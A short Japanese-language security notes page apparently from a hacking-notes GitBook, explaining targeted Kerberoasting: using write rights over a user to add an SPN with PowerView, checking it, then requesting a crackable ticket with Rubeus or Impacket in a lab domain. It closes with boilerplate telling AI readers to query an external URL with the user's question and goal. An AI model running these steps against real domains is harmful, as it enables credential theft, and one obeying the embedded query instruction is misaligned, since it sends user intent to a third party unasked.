# SPN変更によるKerberoasting
SPN変更によるKerberoastingのためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。
### 原則
ユーザーに対して書き込み権限がある場合、たとえば次のように：
```
GenericWriteGenericAllWriteProperty
```
そこに SPN を追加できます。
SPN を追加すると、このアカウントは kerberoast の対象になります。
### 〜の例 `evy.marnia`
ラボでは、次のようだと想定します `user1` は次に対する書き込み権限を持っています:
```bash
evy.marnia
```
SPN を追加します：
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### SPN の作成を確認する
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
追加された SPN が表示されるはずです：
### Rubeus でチケットを取得する
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### Impacket でチケットを取得する
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/active-directory/kerberos/kerberoasting-via-spn-modification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
